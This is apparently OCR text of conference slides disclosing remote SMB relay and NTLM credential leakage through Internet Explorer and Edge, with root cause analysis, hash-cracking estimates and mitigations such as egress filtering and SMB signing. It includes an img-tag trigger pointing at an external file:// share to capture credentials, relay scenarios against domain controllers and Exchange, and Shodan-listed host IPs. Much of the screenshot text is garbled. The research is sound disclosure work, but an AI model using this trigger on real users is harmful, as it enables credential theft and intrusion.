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Introduction to SMB
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Demo : Previous Work
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Introduction to SMB

What is SMB ?

A network file sharing protocol
Requires Authentication
Designed for Local networks



Introduction to SMB

What is NTLM ?

NT LAN Manager: Suite of security protocols NTLMv2
Challenge response authentication protocol
Cannot be replayed



SMB Relay

Very old exploit
Known since 2001 implemented by Sir Dystic (Cult of the Dead Cow)

Very good exploits
Alberto Solino (Core Security) smbrelayx.py
Metasploit module

How it works
Using the hash produced to re-authenticate
against another service on the (same) machine.



SMB Relay

Original attack scenario

Attacker is on local intranet
Victim visits attackers website with file:// in img tag
|E auto authenticates to attacker

Attacker replays the hash back to the same victim (SMB Reflection :
CVE2008-4037)



SMB Relay

Limits of this attack

Attacker needs to be on the same local network
NOT accessible over the Internet.



SMB Credential Reflection Vulnerability
(CVE2008-4037)

Microsoft issued a partial fix (MS08-068)

Prevents replay of hash to the same machine

Does not stop the attacker from

Relaying the hash to another machine
Breaking the hash



Contribution

We're extending previous research :
SMB Relaying,
Breaking hashes...

this time, remotely over the internet



SMB Relay : Rebooted
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DEMO : French Kiss Attack
(IE to SMB)
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Affected Software

All versions of Windows are affected

First remote exploit against Windows 10
First remote exploit against Microsoft Edge



SMB Relay Rebooted

Main Assumption is Attacker is on the victim’s network.

Issue Severity:

Note that attacks targeting this issue only work in the Intranet zone - Internet Explorer will not send
credentials automatically in the Internet zone. This limits attacks to coming from within the same subnet



SMB Relay Rebooted

There's actually an IE setting for this :

B User Authentication
%2 Logon
O Anonymous lagan
(® Automatic logon only in Intranet zone
O autamatic lagon with current user name and password
O Prompt For user name and password —

v

4 | LI

*Takes effect after you restart your computer

~Reset custom settings
Resettol | madium-high (default v Reset.,.. |

0K I Cancel




The Mighty IMG tag

(Very) Basic trigger :

7 <BODY >
§ <img src="file://54.152.102.42/shareme/abc. jpg"/»
9 «/body>

e

Iﬂg.ﬂ.n Example of the ONLOAD Event Handler - HTML Code Tutorial - Internet Explorer

@ A | hitpj54.152.102.42:50 O x| 43 (2 An Example of the ONLOAD ... X



1Y 38, 3004430 L7, 31, 34, 1hD
60 38,3613310172,31. 39,166
61 38, 3624960 54,209,100, 95
62 38, 3709750 54,209,100, 93
63 38, 3803440172, 31, 39,166
64 38,4012130 34, 209,109, 93
65 38,4015660172, 31, 39,166
66 38,4136650 54,209,100, 93

SMB Relay Rebooted

34, 2UY, LUY, Y4
5,209,109, 93
172.31.39.166
172.31,39.166
54,209,100, 93
172,31, 39,166
5,209,109, 93
172.31.35.166

[ 14 US43 |ACK| SB0SL ACK=L WIN=pdish Len=U
i /13 Negotiate Protocol Request

TCP 34 44550098 [ACK] Seq=l Ack=160 Win=30336 Len=0

SHB 173 Negotiate Protocol Response

i 193 session Setup Andx Request, NTLMSSP_NEGOTIATE

Bl 426 Session Setup Anch Response, NTLMSSP_CHALLENGE, Error: STATUS_MORE_PROCESSING_REQUIRED
SHE 706 Session Setup And Request, NTLMSSP_AUTH, User: RELAY\hormazd

Mg 120 Session Setup And Response

What is going on here ¢



SMB Relay Rebooted

NTLM Message Type: MTLMSSP_AUTH (O0x00000003)

+ Lan Manager Response: QO00000000000000000000000000000000000000000000000
NTLM Client Challenge: COOO00QO00O000000

-] NTLM Response: &cB8l4h0alefbhcB86eal7370ed34521680101000000000000, ..

Length: 286
Maxlen: 284
offset: 162

-] NTLMvZ2 Response: 6C81l4h0alefhbcB6eal7370ed34521680101000000000000. ..
MTProofstr: 6c8ldb0aléathbc86eal?7370ed3452168
Response version: 1

Hi Response version: 1

2 000000000000

Time: Jan 13, 201% 17:54:34, 000000000 UTC
Client Challenge: 9fallS478cdaScdb

2 00000000

AtTribute: MetBIOS COmputer name: server_name
Attribute: NetBIOS domain name: WORKGROUP
AtTribute: DWS COMpUTEr name: server_nama
Attribute: DNS domain name: WORKGROUP
Attribute: Timestamp

Aattribute: Flags

Attribute: Restrictions

+H FH FFHFFE

Authentication is actually happening silently !



Root Cause Analysis
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Root Cause Analysis

Windows XP B Tools - VMware Player (Non-commercial use only)

File Virtual Machine Help

¢~ New Tab - Windows Internet Explorer

=" =" : +. -
Cres |g about:Tabs ~|[*+| X ‘ R
x Go gli:| v |29 search - |- 5 share | More 3> sgnin % - | % @HConvert + Select
< Favarites | 52 1 - £ FreeHotmal £ ©

| @hen Tab

| | M- B - ) & - Page- Safety- Took~ @-

Internet Options
"
Security Settings - Internet Zone
Setings rowse with InPrivate
(%) Disahle ~ owse the web without storing data about your browsing session.
O Enable
= Enable %55 Fiter en an InPrivate Browsing window
() Disable
@ Enable
=) Scripting of Java applets se an Accelerator ~
© Disable en a web senvice with text that you've copied from a webpage.
@ Enable
O Prompt ow copied text
2, User Authentication
9& Logon 1 Blog with Windows Live
) anonymous logan i Map with Live Search
n I e Search with Bing
() aAutomatic logon with current user name and password Translate with Live Search
) Prompt for user name and password |
< | I
*Takes effect after you restart Internet Explorer
Reset custom sethings R
) Browsing
Resstto | mediumeigh (default) v | [ Reset... ]

0K Cancel Apply |

Daone

‘4 start =
0 grab input, press Ctri+G
three =] jonatha

& Internet Fh v HI00% v

&2 pr

[ ie_dl.kx

r

o, 1 4

It

Windows XP Basic Tools - VMware Player (Non-commercial use only) @oEdw-S-Bald EI/‘
hat2015/revers & Windows XP B 0ols - VMware Player (N = Editeur d'image GIMP = 10:31




Root Cause Analysis

File View Debug Trace Options Windows

S0 x| w|+[0] w388 H|u| L|E[M]T|c|] B E|

snn424 25000 LER ESF, [ESF]
n ESP, [ESF]
eiid B2 |iem EDX, [ARG. 21
CD 2E INT 2E

RETH

-KiFastSustemCal IRet

5 e5F  ese

[ LR
= FCIBES14

55: [LOCAL. 1371, EAX Es

S5: [LOCAL, 1381, ECX

FTR 5%: [ARE. 1]

FIR 531 LARE. RETADDR]

DS: [EAR+BCI,

nedlL.
z2bir

KiFastEystental lRet
@i FEEFFFEF)

el lelalalyl
@

it

D ETR DS: [ERueansd, oy
RO _PTR D3: [EAX+AA41

Window's titls |Last sxrox Entiy uspend |Priority £ ime
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RROR_SXS_KEY_NOT FI = B0 =

ERROR_SUCCESS (60 FI = B0 =

ERROR_NO_TOKEH (@ FI s . BEEE S
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Internet Options |ERROR_SUCCESS (@6 FI s 25 <

N (@ Fi s BE <
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Fi < BE <

Fi < BE <

AC = 18R =

BOT+ Window = 1BA S

Fa ERRORSUCCESS = 28 =
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HHHE BFSFEEFF GRBAEG6E BE1S0534 BFEEEFZD
WM BREEARGE 61E3E30C BFSFAIZF BFSABES2
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oI
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Bd2d O
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45 g
]
C:

WORD PTR S%: [E3h4a],

58 PL
EB 48FFFFFF |CALL Rt [RaiseException

NTS
415418 (USERDZ. Wa tHessagethh)

TE150E4ra1=7]
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hread B. (ID O00D0ECA) terminated, exit code 0
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B ie_du

[o grab input, press Ctri+G
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VMware Player (Non-commercial use only)
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Root Cause Analysis

Fle Edt Yew Dialbg Options Help
i =" RN =N [T IR A ) W= I 5 3 s M1 -2
Q,
(=[5 Dialog
[Z] 100 [English {United States)] N
101 [English {United States)] Settings:
102 [English (Uniksd States)]
103 [English {United States)] Expand item
i Expand item
(United States] Leaf
300 [English {United States)] Lesf
500 [English {United States)] Collapse item
600 [English (Uniked States)] Leaf
700 [English {United Stakes)] —
[=] 7s0[English {United States)]
751 [Engish {United States)] o L
1000 [English {United States)]
1100 [English {United States)]
1140 [English {United States)]
1200 [English {United States)]
1620 [English {United States)]
4426 [English (United States)]
4448 [English (United States)] Resst custom ssttings
4448 [English (United States)] . 3 [ = ]
4450 [English (United States)] :
4451 [English (United States)]
4452 [engih Lnited States]] | Cecsmseting. | ok ) [ conel |
v‘ bl
\
~
3DLook False
Absolute Align False
Bordsr Dialog Frame
Caption Security Settings
Client Edge False L |
Clip Children False
Clip Siblings False
Horizonkal Serallbar False
Layout RTL False
Left Scrollbar False
Maxirnize: Box False
Minimize: Box False
Qverlapped Window False i i g g i
= File Edit ‘iew Dialog ©Options Help
Static Edge False
Style Popup
Appearance .:l - — .
i f | | - — ID= [=] .
[Jl.jlglal.u'_—l-_'l == = =] |
Ready ANST
s ey
5 Start

o grab input, press Ctrl+G

ource




Diffing the registry

Kompare
File Difference Settings Help

I|='—‘|Cumpare Files | H Save “ Save All | {k Previous File g’ Next File | Ak Previous Difference W Next Difference | q Unapply All Q Unapply Difference b Apply Difference » Apply All

Navigation

Source Folder / Destination Folder

/|| Source File / |Destination File Source Line / | Destination Liri| Difference

¥ prompt u... I automatic logon internet.reg 222 Changed 1 line

prompt_user.reg

automatic_logon_internet.reg Al

IOU

189 "DisplayName"="Internet"”

190 " tion"="This zone contains all websites you haven't placed in o
291 "Icon"="inetcpl. cpl 3"

192 "CurrentLevel

183 "MinLevel"=dword €
194 "RecommendedLeve ord: 00011000
195 "Flags"=dword:®
196 "1001 jord:
197 "1004 r
198 "1200
299 "1201
208 "1206
201 "1400
202 "1402
203 "1405
204"
205"
206"
207"
208 "1605
209 "1606
218 "1607
211"
212"
213"
214"
215"
216
217
218
219
220
221
222 "1A00
223 "1A02"
224 "1A03
225 "1A04
228 "1A05
227 "1A06
228 "1A10
229 "1C00 "=du
<

o
187 [HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]
188 @=""

189 "DisplayName"="Internet"

196 " i "This zone contains all websites you haven't placed in other zones"

191 "Icon"="inetcpl.cpl: 3
192 "CurrentLevel"=dwor
183 "MinLevel"=dword
184 "RecommendedLe
185 "Flags"=
196 "1061"=d
197 "1884"=d
198 "1280"=d
198 "1281"=d
208 "1206"=d
201 "1400"=d
202 "1402"=d
203 "1485"=d
204 "1406"=d
205 "1407"=
206 "1601"=d
207 "1604"=d
2088 "1605"=d
2089 "1606"=d
218 "1607"=d
211 "1608"=d
212 "1669"
213 "1800"
214 "1802"
215 "1863"
216 "1864"
217 "1805"=d
218 "1886"=d
218 "1887"=
228 "1888"=d
221 "1889"=d
222 "1AB0" =dw!
223 "1A02"=
224 "1

225 "1A
226 "1A05
227 "1A
228 "1A
229"

poellece

coocoocoooaocooooooa

coocoooaQAococooocooon

oeo
oeo
oeoe
oeoe
oeoe
oeoe

| o

|comparing file file://ftmp/diff/prompt_user.reg with file file:///tmp/difffautomatic_logon_internet.reg

1 of 1 difference, 0 applied ‘ 1 of 1 file




Tracing

blackbox: ~

Windows XP Basic Tools - VMware Player (Non-commercial use only)

=] root@blackbox: /mnt/clef blackbox: ~/Blackhat201 T Windows XP Basic Tools - VMware P - *[internet_options] (exported)-1.0 (R [ *[ollyl] (exported)-2.0 (RGB color, 1 E£R
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Tracing

[ jonathan@blackbox: ~/Blackhat2015/reverse/registry
Fichier Edition Affichage Rechercher Terminal Aide

"7:00:49.0056108 ","NAME NOT FOUND","Desired Access: Read"
09:49.0056113 ","NAME NOT FOUND","Desired Access: Read"
09:49.0056113 R ","NAME NOT FOUND","Desired Access: Read"

7:09:49.0057085 ) ","NAME NOT FOUND","Desired Access: Read"
09:49.08059312 ","SUCCESS","Desired Access: Read"
","SUCCESS","Type: REG_DWORD, Length: 4, Data:
,"lexplore.exe" ", "Success",""
,"lexplore.exe" ","SUCCESS","Desired Access: Read"
:09:49.0060209 ,"lexplore.exe" ","SUCCESS","Type: REG_DWORD, Length: 4,
09:49.0060508 ,"iexplore.exe" ", "success",""
09:49.0060642 iexplore.exe", ","SUCCESS","Desired Access: Read"
09:49.0060834 iexplore.exe", ","SUCCESS","Type: REG_DWORD, Length: 4,
09:49.0061133 ,"lexplore.exe", ", "Success",""
09:49.0061267 ,"lexplore.exe", ","SUCCESS","Desired Access: Read"
09:49.0061441 ,"iexplore.exe", ","SUCCESS","Type: REG_DWORD, Length: 4,
09:49.0062608 , ", "SUCCESS",""
09:49.0062770 R ","SUCCESS","Desired Access: Read"
89:49.0062955 ", "SUCCESS","Type: REG_DWORD, Length: 4,
09:49.0063268 ,"lexplore.exe" ","SsUccess",""
09:49.0063402 ,"lexplore.exe" ","SUCCESS","Desired Access: Read"
09:49.0063578 ,"iexplore.exe" ","SUCCESS","Type: REG_DWORD, Length: 4, Data:
09:49.0063882 iexplore.exe", ", "success",""
09:49.0064206 iexplore.exe", ","NAME NOT FOUND","Desired Access: Read"
09:49.0064324 ,"lexplore.exe" ","NAME NOT FOUND","Desired Access: Read"
09:49.0064435 ,"iexplore.exe" NOT FOUND","Desired Access: Read"
09:49.0064542 ,"lexplore.exe" R NOT FOUND","Desired Access: Read"
09:49.0064648 ,"iexplore.exe" R NOT FOUND","Desired Access: Read"
09:49.0064771 iexplore.exe", FOUND" i Access: Read"
09:49.0064899 iexplore.exe", FOUND" i Access: Read"
09:49.0065019 ,"lexplore.exe" R FOUND" i Access: Read"
<] 9.0065215 ","ilexplore.exe" " " FOUND","Desired Access: Read"
09:49.0065360 ,"lexplore.exe" FOUND","Desired Access: Read"
09:49.0068377 ,"iexplore.exe"
09:49.0068567 " ,"Length: 144"
09:49.0068754 R , ,"Desired Access: Read"
09:49.0068905 "NAME NOT FOUND","Length: 144"
89:49.0069305 , ", "SUCCESS",""
09:49.0069607 ,"lexplore.exe" ", "SUCCESS",""
09:49.0069922 ,"iexplore.exe" ", "NAME FOUND","Desired Access: Read"
09:49.0070051 iexplore.exe", FOUND","Desired Access: Read"
09:49.0073763 iexplore.exe", FOUND","Desired Access: Read"
:09:49.0073875 ,"lexplore.exe","1580" . FOUND","Desired Access: Read"
09:49.0073981 ,"lexplore.exe","1580" R FOUND","Desired Access: Read"
09:49.0074107 ,"iexplore.exe","1588" R FOUND","Desired Access: Read"
09:49.0074238 ,"iexplore.exe","1588" R FOUND","Desired Access: Read"
09:49.0074364 "iexplore.exe","1580" R FOUND","Desired Access: Read"
09:49.0074487 R R FOUND","Desired Access: Read"
09:49.0074610 ","NAME NOT FOUND","Desired Access: Read"
09:49.0077655 R ","SUCCESS","Desired Access: Read"
09:49.0077842 ","NAME NOT FOUND","Length: 144"
09:49.0078041 ","SUCCESS","Desired Access: Read"
09:49.0078180 ","NAME NOT FOUND","Length: 144"
09:49.0078577 ", "Success",""
7:09:49.0078876 ,"ilexplore.exe","1580" ","suUccess",""
jonathan@blackbox:~/Blackhat2015/reverse/registrys




Lessons learned

It’s not just IE
All Windows applications relaying on System dllIs to fetch
URLs are vulnerable (see C:\Windows\inetcplc.dIl...).

Registry keys involved

HKCU\ Software \Microsoft\Windows\CurrentVersion\Internet
Settings\Zones\*

What’s happening
Inetcplc.dll does save the settings properly in the registry.
Registry configuration is queried, and then ignored !



DEMO: French Kiss to Malware
(Syphilis attack)
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Syphilis attack

Time to attack via SMB relay

Fool user into visiting malicious website (r/netsec 2)
Relay credentials to DC on the same network
Maybe attack NTLM over HTTP server auth?



Attack Limitations

Packet signing needs to be disabled (only for relaying

malware)
Recommended to improve performance

SMB outbound needs to be enabled
Failing egress filtering at Firewall level (common)



In regards to packet signing...

Home Knowledge Center Downloads Service Requests Tools Programs and Policies Customer Service My Account

KnﬂWlEdgE Center Search McAfee Knowledge Center | Print

S5MB Signing must be disabled for Windows NTLM authentication to work Rate this document

L 0 8 &

Technical Articles ID: KB74145
Last Modified: 9/25/2013

Did this article resolve your issue?
Environment

Yes
Mchfee Firewall Enterprise 8.3.x, B.2.x "I No
Summary Please provide any comments below
According Microsoft KB article 887429 (support.microsoft.com/kb/887429), you can configure SMB signing to be OFF, ON but not Optional

reguired, or ON and reguired for clients to login.

You must disable SMB signing (in other words, set it to OFF) for NTLM authentication via the firewall to work. You cannot set it to be
ON but not required; you must completely disable it on the Windows server. P

Solution

For instructions about turning SMB signing off, see PD21455,

Affected Products



DEMO: French Kiss to RDP

L= =IF |15




French Kiss to RDP

Hash cracking

GPU cracking Super fast (HashCat)
Our own cracking machine

Can crack 2.4 Billion hashes/sec



Hash Cracking Hardware




French Kiss to RDP

Key space of 68 characters
Uppercase

Lowercase

Alphanumeric

Special characters - {(@Q#$%&

8 Characters passwords
68”8 - 2 days and 5 hours to crack



NTLM authentication over the Internet

* SHODAN

realm="SMB" Search

Services

HTTP

HTTP Alternate
HTTPS

HTTPS Alternate

Top Countries

India
China
Taiwan
Mexico

Hong Kong

896
574
33

1,273
18
102

401 Unauthorized
219.85.116.80

Linux 2.6.x

Sony Network Taiwan Limited

a| Taipei

219-85-116-80-ads|-TPE.dynamic.so-
net.net.tw

401 Unauthorized
118.166.81.94
CHTD, Chunghwa Telecom Co,, Ltd.

sl Taipei

118-166-81-94.dynamic.hinet.net

401 Unauthorized
115.244.226.75
BSES TeleCom Limited

== Pondicherry

HTTP/1.0401 Unauthorized

Pragma: no cache

Content-type: text/html

Date: Sun, 12 Jan 2014 14:16:20 GMT
Accept-Ranges: bytes

Connection: close

WWW-Authenticate: Basic realm="SMB"

HTTP/1.0-401 Unauthorized

Pragma: no cache

Content-type: text/html

Date: Sun, 12 Jan 2014 13:04:45 GMT
Accept-Ranges: bytes

Connection: close

WWW-Authenticate; Basic realm="SMB"

HTTP/1.0:401 Unauthorized

Pragma: no cache

Content-type: text/html

Date: Wed, 01 Jan 2014 21:30:53 GMT

Results 1 - 10 of about 1506 for WWW-Authenticate: Basic realm="SMB"




Impact

Retreive user credentials
Username sent in plain text
Password cracked

Remote code execution
Leveraging NTLM authentication over HTTP allows us to RCE

Billions of corporate users are vulnerable
IE is the market leader in Corporate environments



Other triggers
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DEMO : Video trigger
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Menage a Trois
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DEMO : Ménage a trois
(SMB Relay to Exchange)
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Ménage a Trois

Owning the cloud(s)
Demos done on Amazon AWS, Microsoft Azure

Thousands of servers allowing NTLM over
HTTP

Unsafe defaults

Extended protection isn’t enabled by default
Extended protection is hard to configure



Mitigations
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How to protect yourself

Egress filtering at Perimeter level
Drop outgoing SMB on ports 137/138/139/445.

Host level hardening
Drop outgoing SMB on ports 137/138/139/445 to
public IPs

Enable Packet Signing

Enable Extended Protection



Take away
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Impact

We forced a victim to send us their credentials
Through a website

Through an email

Through a video...

Able to upload malware
Able to replay SMB to Exchange
Able to replay to any service using NTLMSSP

And all of this was done remotely from the Internet
All versions of Windows are affected
Windows 10 and Microsoft Edge are also vulnerable
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Greetings

Special thanks to MSRC for working on those
vulnerabilities with us for the past 9 months.



Questions ?
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